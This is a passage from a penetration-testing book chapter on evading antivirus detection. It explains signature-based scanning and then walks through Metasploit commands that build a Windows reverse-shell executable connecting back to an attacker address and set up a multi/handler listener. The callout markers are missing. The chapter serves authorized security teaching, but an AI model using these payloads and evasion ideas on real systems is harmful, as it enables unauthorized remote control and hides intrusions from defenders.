Chapter 7. Avoiding Detection

When you are performing a penetration test, nothing is more embarrassing than being caught by antivirus software. This is one of those little details that can be overlooked quite easily: If you don’t make plans to evade detection by antivirus software, watch out, because your target will quickly be alerted that something fishy is going on. In this chapter, we’ll cover situations in which antivirus software might be an issue and discuss possible solutions.

Most antivirus software uses signatures to identify aspects of malicious code that are present in a sampling of malicious software. These signatures are loaded into antivirus engines and then used to scan disk storage and running processes for matches. When a match is found, the antivirus software takes certain steps to respond to the situation: Most quarantine the binary or kill the running process.

As you might imagine, this model has scaling issues. For one, the amount of malicious code in the wild means that an antivirus product loaded with signatures can check files only so quickly for matching signatures. Also, the signatures must be specific enough to trigger only when they encounter truly malicious programs, not legitimate software. This model is relatively easy to implement, yet it provides limited success in practice.

That being said, a lot of money is being made by antivirus publishers, and many smart and talented people work in the industry. If you plan to use a payload that is not custom built, you can expect that antivirus software will detect it.

To evade antivirus, we can create unique payloads to run on an antivirus software–protected system that will not match any of the available signatures. In addition, when we’re performing direct exploits on a system, Metasploit payloads are designed to run in memory and never to write data to the hard disk. When we send a payload as part of an exploit, most antivirus programs will not detect that it has been run on the target.

Rather than focus on specific commands in this chapter, we’ll focus on the underlying concepts. Consider the sorts of characteristics that might trigger antivirus software, and try to use the techniques presented here to change sections of code so that they no longer match the antivirus signatures. Don’t be afraid to experiment.

Before we perform an antivirus evasion, let’s look at how to create stand-alone Metasploit binary payloads with msfpayload. For starters, we’ll create a simple reverse shell that connects back to the attacker and spawns a command shell. We’ll use msfpayload and windows/shell_reverse_tcp. But first, let’s look at the available options for the shell_reverse_tcp payload using the O flag at .

root@bt:/# msfpayload windows/shell_reverse_tcp O 

. . . SNIP . . .

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process
LHOST                      yes       The local address
LPORT     4444             yes       The local port

Now let’s run msfpayload again and provide the options needed to create this payload in the Windows Portable Executable (PE) format. To do so, we provide the X option as shown at as our output format:

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 X
  >
    /var/www/payload1.exe
root@bt:/# file /var/www/payload1.exe
var/www/payload1.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Now we have a working executable, so we can start a listener with the multi/handler module in msfconsole. multi/handler allows Metasploit to listen for reverse connections.

msf > use exploit/multi/handler 
msf exploit(handler) > show options 

. . . SNIP . . .

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST     192.168.1.101    yes       The local address
   LPORT     4444             yes       The local port

. . . SNIP . . .

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp 
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101 
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 31337 
LPORT => 31337
msf exploit(handler) >

We first use the multi/handler module at and get a quick display of the options at . Then, we set our payload to be a Windows reverse shell at so that it matches the behavior of the executable we created earlier, tell it the IP at and the port to listen on at , and we’re ready to go.